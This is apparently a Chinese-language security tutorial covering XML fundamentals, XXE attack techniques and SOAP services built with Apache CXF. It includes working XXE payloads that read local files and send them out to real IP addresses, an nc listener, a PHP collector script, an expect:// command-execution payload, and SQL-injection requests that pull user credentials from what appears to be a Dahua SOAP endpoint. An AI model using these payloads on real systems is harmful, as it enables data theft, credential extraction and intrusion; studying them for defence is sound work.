xml格式上类似于html,可以利用属性值对数据进行标注,所以功能更加强大,使用也更加繁琐复杂,在一些小型项目或者脚本中xml没有yml和json常见

一开始我了解到xml还是ctf的xxe题目,所以就只了解了DTD和Entity实体的一些相关知识,后面发现很多漏洞都需要xml相关的知识,如因为java对外部实体默认没有过多限制,很多java中间件出现过xxe漏洞,xxe漏洞和xml反序列化的waf绕过,soap协议,svg xml 造成的xss等

xml基础

XML 其全称为 Extensible Markup Language,即可拓展标记语言。

xml基本结构

1
2
3
4
5
6
7
8
9
10
11
<!--第一行是 XML 声明,并且必须要有-->
<?xml version="1.0" encoding="UTF-8"?>
<site date="12/11/2007" time='12:00'><!--
1.此处为根元素,XML必须要有根元素,它是所有其他元素的父元素
2.XML文档有且只有一个根元素
3.XML 属性值必须加引号-->
<name>RUNOOB</name>
<message>if salary &lt; 1000 then</message><!--在 XML 中,一些字符拥有特殊的意义。需要利用实体引用来代替这些字符-->
<logo>runoob-logo.png</logo>
<desc>编程学习网站</desc>
</site>

DTD和Entity实体

DTD

DTD 全称为 Document Type Definition,即文档类型定义,用于定义 XML 文档的结构,比如指定文档中允许存在哪些元素、元素的内容和属性、元素的嵌套规则
DTD的引用也分为内部引用和外部引用

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)> <!--元素为文本数据-->
<!ELEMENT from (#PCDATA)>
]>
<!--<!DOCTYPE note SYSTEM "http://evilpan.com/xxe.dtd"> 外部dtd引用-->
<note>
<to>Alice</to>
<from>Bob</from>
</note>

Entity实体

XML 中另外一个重要的概念就是实体(Entity)。
ENTITY定义中有SYSTEM就是外部实体,有 % 的就是参数实体,然后内外部实体和通用参数实体两两组合

实体的引用通常以 & 开头且以 ; 结尾,除了参数实体以 % 开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ENTITY x "Hello"> <!--ENTITY内部实体声明,相当于变量-->
<!ENTITY % param1 "Hello"> <!--参数实体声明,只能在DTD,即文档类型定义中使用-->
<!ENTITY file2 SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "combine.dtd"><!--外部参数实体声明,可以读取外部文件-->
%dtd;%int;%send;<!--将参数实体整合到DTD定义中-->
]>
<!--文档元素-->
<note>
<to>&x;</to>
<head>&file2;</head>
<body>You are a good man</body>
</note>

<!--combine.dtd的内容为:-->
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://47.98.199.11:7777?p=%file;'>">

实体编码和CDATA节
实体除了可以作为变量还能对一些特殊字符进行编码

常见特殊字符编码

1
2
3
4
5
&amp; 表示与字符:& (ampersand)
&apos; 表示单引号:' (apostrophe)
&quot; 表示双引号:" (quotation mark)
&lt; 表示小于号:< (less than)
&gt; 表示大于号:> (greater than)

字符实体可以用数字表示任意字符,比如字符 A 可以表示为 A(十进制) 或者 A(十六进制);

<[cdate]>里的内容可以不用实体编码也不会报错,CDATA节中的所有字符都会被当做字符数据

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<root>
<![CDATA[
<hello>
<world>
这里放任何内容都是合法的
]]>
<subRoot>
</subRoot>
</root>

xmlns和xinclude

XML命名空间(XML Namespaces)是一种机制,用于避免XML文档中元素和属性名的冲突。

默认命名空间,声明后,当前元素及其子元素(除非另有指定)都属于指定的命名空间。
前缀命名空间,仅适用于使用该前缀的元素和属性。

xinclude 通常指的是在 XML 文档中使用 <前缀:include> 元素来包含外部文件内容,这是 XML Include(XInclude)机制的一部分。它允许你将一个或多个外部文档的内容嵌入到主 XML 文件中,从而实现模块化和复用

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0"?>
<note xmlns="http://www.evilpan.com/note"
xmlns:ex="http://www.example.com/foo"
xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- 注意:必须绑定 W3C 的官方 URI,可以理解为导包,加前缀就是调用 -->
<ex:include parse="xml" href="foo.xml"/> <!-- 一个普通的自定义标签-->
<to>Alice</to>
<xi:include parse="xml" href="foo.xml"/> <!-- 有这个前缀之后include就不是一个简单的标签,而是XInclude -->
<from>Bob</from>
<ex:message id="1337">Foo</ex:message>
</note>


XSD

XML Schema Definition,即 XSD。与基于DTD(文档类型定义)的验证相比,XML Schema 提供了更丰富的数据类型支持、更强的约束定义能力以及命名空间的支持。

示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- xml文件-->
<?xml version="1.0"?>
<note
xmlns="http://mayylu.com" 当前xml文档的默认命名空间
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi前缀的命名空间
xsi:schemaLocation="http://mayylu.com note.xsd"> 使用 xsi:schemaLocation 属性指明命名空间与对应XSD文件的映射
<to>Tove</to>
</note>


<!--node.xsd-->
<?xml version="1.0"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://mayylu.com" targetNamespace 指定当前 Schema 所定义的元素和类型所属的目标命名空间
xmlns="http://mayylu.com" 当前xsd文档的默认命名空间
elementFormDefault="qualified"> qualified要求XML实例中的所有局部元素都必须属于targetNamespace。

<xs:element name="note">
<xs:complexType>
<xs:sequence>
<xs:element name="to" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>

</xs:schema>

xsd文档 的 targetNamespace+name,与c+节点名对应,然后安装规则进行验证

但是很多 XML Schema 处理器在加载 Schema 时,并不会先严格验证 targetNamespace 是否匹配,而是先解析整个 XSD 文档。XXE 就发生在解析 XSD 文档这个阶段,所以有的时候命名空间不匹配也不会影响xxe

XSLT

XSLT 全称为 Extensible Stylesheet Language Transformations,主要用于编写样式表将 XML 转换为其他格式的文档,如 XHTML、JSON、文本等。XSLT 也是基于 XML 的,但具备强大的灵活性和扩展性。不仅可以用于文档转换,还常被用于数据清洗、报告生成以及数据的提取和重组等任务。
XSLT 单独保存为文件时可以是 .xsl 或者 .xslt 后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--XSLT 文档的根节点-->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/"> 当匹配到哪个节点时,执行下面模板。/就是整个文档
<!--下述为转换结果-->
<html>
<body>
<h1>Note</h1>
<p>To: <xsl:value-of select="note/to"/></p> select里面写的是XPath表达式
<p>From: <xsl:value-of select="note/from"/></p> select也可以调用内部函数
<xsl:value-of select="system-property('xsl:version')" /> XSLT版本
<xsl:value-of select="system-property('xsl:vendor')" /> XSLT 引擎信息
<xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>
</xsl:template>
</xsl:stylesheet>
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet href="note.xsl" type="text/xsl"?>
<note>
<to>Alice</to>
<from>Bob</from>
</note>

xxe

XXE的全称是 XML External Entity Injection,即 XML外部实体注入
各web后端语言一般防止xxe的方法就是禁用外部实体

文件读取

有回显

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY js SYSTEM "file:///E:/user/Desktop/flag.txt">
]>
<comment> <text>
&js;
</text></comment>

禁用外部实体,但是打开了XInclude,如 setXIncludeAware(true),也可以任意文件读取

1
2
3
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/hosts"/>
</foo>
特殊字符

如果读取的文件出现特殊字符影响到xml标签解析了就会报错或者返回空,比如说是html或者xml文件,或者是带有& > <的字符

在php中,可以通过php://filter的方式对文件进行编码,然后带出:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">
]>
<data>
<a>&read;</a>
</data>

如果是java环境,可以使用CDATA带出特殊符号
除非是外部dtd,如果是内部dtd,通用实体和参数实体的定义中,不能对参数实体进行引用
所以我们还得写个外部dtd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://127.0.0.1:81/evil.dtd">
%remote;
]>
<comment> <text>
&js;
</text></comment>

evil.dtd
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///E:/user/Desktop/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY js "%start;%goodies;%end;">

但是读取的文件有% &CDATA还是会报错,除非后面有;,如 %remote;,但是一般代码里面应该都不会有这些东西

无回显

需要主动访问外部,带出文件数据

进行内部实体嵌套

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 SYSTEM "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2; % param222;
]>

有些解释器不允许在内层实体中使用外部连接

  • 绕过方法
    将嵌套的实体声明放入到一个外部文件中,绕过检测(请求两次外部实体)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    <!DOCTYPE convert [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY % remote SYSTEM "http://124.220.165.133:9901/text.dtd">
    %remote;%int;%send;
    ]>

    file.dtd :
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://124.220.165.133:9901?p=%file;'>">

回显方法

  1. 监听端口

nc -lvvp 7777

在服务器上 python3 -m http.server 81
2. 或者查看日志

1
2
124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] "GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0" 404 466 "-" "-"
[Sun Feb 19 08:47:08.149766 2023] [:error] [pid 2113] [client 124.223.158.81:53652] script '/var/www/html/x.php' not found or unable to stat
  1. 使用php脚本配合外带数据
    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $content = $_GET['1'];
    if(isset($content)){
    file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
    }else{
    echo 'no data input';
    }

特殊字符

http协议最大的问题是换行符报错,这意味着文件读取不能读取多行数据,php还好,还能编码,但是对于java就这一个限制导致xxe 外带变得是否的鸡肋

ftp打法(<7u131 <8u131-b09)
数据中不能包含%和&,如果有’或”需要调整evil.dtd中包裹ftp://的引号类型,不然会报错。?和#会导致数据截断。
使用工具:https://github.com/LandGrey/xxe-ftp-server,即使用FTP协议来向外传递数据

smb协议外带多行(只能win系统)
真正发起 SMB 通信的是 Windows SMB 客户端,而不是 Java 自己实现了 SMB。即在win,file://\\\\为smb协议

https://github.com/cwkiller/xxe-smb-server

jar协议上传文件

java中的xxe还支持jar://协议,格式为jar:{url}!{path},能从远程获取 jar 文件
jar 协议处理文件的过程:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "jar:http://192.168.111.1:9090/calc.jar!/test.txt"> ]>
<root>&xxe;</root>

使用https://github.com/pwntester/BlockingServer,提供一个会阻塞连接的 HTTP 文件服务器。等待操作者手动输入 Q 才释放连接,因此临时文件不会被删除

然后用Java中的file协议列目录得到临时文件名,一般windows下的临时文件是在C:\Users\用户名\AppData\Local\Temp,linux下的临时文件是在/tmp

但是在JDK 9 开始 对 JarURLConnection、ZIP/JAR 处理、HTTP 下载和资源管理进行了整体重构
反正我用jdk 17没有复现成功

PHP expect RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

示例代码:

1
2
3
4
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>

基于HTTP的XML数据传输

php 写XML

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
error_reporting(0); //禁用外部实体注入 设置为false 相当于不禁用
libxml_disable_entity_loader (false);
//php://input ===> post请求体的内容
$xmlfile = file_get_contents('php://input');
//创建一个DOMDocument类型的对象
$dom = new DOMDocument();
//loadXML 从字符串中读取,生成一个DOMDocument类型的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//把一个DOMDocument类型的对象转发成一个simpleXML类型的对象
$creds = simplexml_import_dom($dom); //因为存在SIMPLEXMLelement存在__toString__魔术方法, //因此可以直接打印
echo $creds;
?>

Java中的漏洞场景

具体函数参考https://1diot9.github.io/2025/11/18/XXE%E6%95%B4%E7%90%86/#%E5%90%84%E4%B8%AA%E5%BA%93%E4%B8%AD%E7%9A%84XXE

但是其中unmarshal的说法我感觉不准确,Unmarshaller 本身并不会解析 XML,它需要依赖底层解析器将 XML 转换成事件或对象,再完成 Java Bean 的映射。
Unmarshaller并不是无漏洞,而是在上述代码中unmarshal(InputStream)调用的是JAXB 内部创建解析器,该解析器默认禁用了外部实体

下述代码把 XML 解析工作交给了外部创建的 XMLInputFactory,其安全性完全取决于该工厂是否禁用了 DTD 和外部实体

1
2
3
4
5
6
7
8
9
10
11
var jc = JAXBContext.newInstance(Comment.class);
// 创建了我们的工厂 读取xml的一个工厂
var xif = XMLInputFactory.newInstance();
// 不支持外部实体
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
var xsr = xif.createXMLStreamReader(new StringReader(xml));
// 将我们的xml 变成我们的java对象
var unmarshaller = jc.createUnmarshaller();
unmarshaller.unmarshal(xsr);

soap协议

1
2
3
4
5
6
7
              Web Services(Web服务)
|
---------------------------------
| |
SOAP REST
| |
Apache Axis/CXF Spring MVC/JAX-RS

SOAP协议是一种基于XML的消息传递协议,它通常被用于在网络上交换结构化的信息。SOAP消息由XML构成,可以在HTTP、SMTP等多种协议上进行传输,常用于应用程序之间的通信

CXF

Apache CXF 是一个开源的服务框架,用于构建和开发服务导向架构(SOA)和Web服务。它支持多种协议(如SOAP和REST)和数据格式(如XML和JSON),并且提供了丰富的工具和库来简化服务的创建和消费。CXF允许开发者快速构建可靠和高效的Web服务应用程序,并集成了许多功能,如安全、事务管理和消息处理,下面用cxf演示soap协议

配置

CXF 和 Spring是十分兼容的,只需要在spring的基础在servlet里上加几个标签,配置文件中加几行注释,就能完成soap接口的注册

设置接口类

1
2
3
4
5
6
7
8
9
10
11
@WebService(
name = "CarReportService",
targetNamespace = "http://carReport.webservice.dssc.dahua.com"
)
public interface CarReportService {
@WebMethod
@WebResult(
name = "result" // 返回值对应 SOAP Body 中 XML 标签名称 <result>......</result>
)
// 指定 SOAP 请求参数名称 <searchJson>...</searchJson>
String getFlowStatisticsQuery(@WebParam(name = "searchJson") String var1);

配置路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <servlet>
<servlet-name>CXFServlet</servlet-name>
<servlet-class>org.apache.cxf.transport.servlet.CXFServlet
</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>CXFServlet</servlet-name> <!--services下的所有请求首先进入 CXFServlet-->
<url-pattern>/services/*</url-pattern>
</servlet-mapping>

<!--/services/carReport绑定到carReportServiceImpl-->
<bean id="carReportServiceImpl" class="com.dahua.dssc.webservice.carReport.CarReportServiceImpl" />
<jaxws:endpoint id="carReportService" implementor="#carReportServiceImpl"
address="/carReport" />

WSDL

WSDL是一种描述Web服务的XML格式的语言,定义了服务的接口,包括操作、消息、数据类型等。
上面配置好后访问
/portal/services/carReport?wsdl即可查看wsdl
格式: WSDL文档描述了Web服务的功能和结构,并提供了如何与服务进行交互的说明。它定义了服务的可用操作、消息格式、数据类型、端点地址等信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<wsdl:definitions targetNamespace="命名空间">
<!--用于定义 Web 服务中使用的复杂数据类型-->
<wsdl:types>
<element name="AdminService" type="xsd:anyType"/>xsd:anyType <!--是一个通用的类型,它表示可以接受任何数据类型的值-->
<element name="AdminServiceReturn" type="xsd:anyType"/>
</wsdl:types>
<!--通信消息的数据结构的抽象类型化定义。使用Types所定义的类型来定义整个消息的数据结构体-->
<wsdl:message name="AdminServiceRequest">
<wsdl:part element="impl:AdminService" name="part"> </wsdl:part>
</wsdl:message>
<wsdl:message name="AdminServiceResponse"> <!--定义了一个消息,名为 AdminServiceResponse-->
<wsdl:part element="impl:AdminServiceReturn" name="AdminServiceReturn"> </wsdl:part>
</wsdl:message>
<!--WSDL 中用于描述 Web 服务接口中的的元素-->
<wsdl:portType name="Admin">
<wsdl:operation name="AdminService"><!--定义一个操作名称为AdminService-->
<wsdl:input message="impl:AdminServiceRequest" name="AdminServiceRequest"> </wsdl:input><!--输入消息类型为AdminServiceRequest-->
<wsdl:output message="impl:AdminServiceResponse" name="AdminServiceResponse"> </wsdl:output><!--输出消息类型为AdminServiceResponse-->
</wsdl:operation>
</wsdl:portType>
<!--定义了 Web 服务操作与传输协议(SOAP)之间的映射。-->
<wsdl:binding name="AdminServiceSoapBinding" type="impl:Admin"><!--type 属性指定了绑定关联的 wsdl:portType-->
<wsdlsoap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/><!--document: 是 SOAP 消息的标准格式,表示整个消息体将按照 XML 文档的格式进行传输-->
<wsdl:operation name="AdminService">
<wsdlsoap:operation soapAction=""/>
<wsdl:input name="AdminServiceRequest">
<wsdlsoap:body use="literal"/><!--literal表示消息体直接使用 XML 文档表示-->
</wsdl:input>
<wsdl:output name="AdminServiceResponse">
<wsdlsoap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<!--定义了 Web 服务的 端点地址 -->
<wsdl:service name="AdminService">
<wsdl:port binding="impl:AdminServiceSoapBinding" name="AdminService">
<wsdlsoap:address location="http://**.***.***.cn/payment/services/AdminService"/><!--客户端将通过这个 URL 来访问 Web 服务-->
</wsdl:port>
</wsdl:service>

</wsdl:definitions>

从service反着推就行了

使用soap协议访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
<!--deleteBulletin为调用的方法-->
<ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
<!--netMarkings为传参-->
<netMarkings>
(updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
</netMarkings>
</ns1:deleteBulletin>
</s11:Body>
</s11:Envelope>

也可以使用RESTful风格直接访问/portal/services/itcBulletin/deleteBulletin/netMarkings/(updatexml(1%2Cconcat(0x7e%2C(select substr(group_concat(login_name%2C " "%2Clogin_pass)%2C1%2C30) from sys_user)%2C0x7e)%2C1))) and (1%3D1

返回数据包

1
2
3
4
5
6
7
8
9
10
<soap:Envelope>
<soap:Body>
<soap:Fault>
<faultcode>soap:Server</faultcode>
<faultstring>
.....................
</faultstring>
</soap:Fault>
</soap:Body>
</soap:Envelope>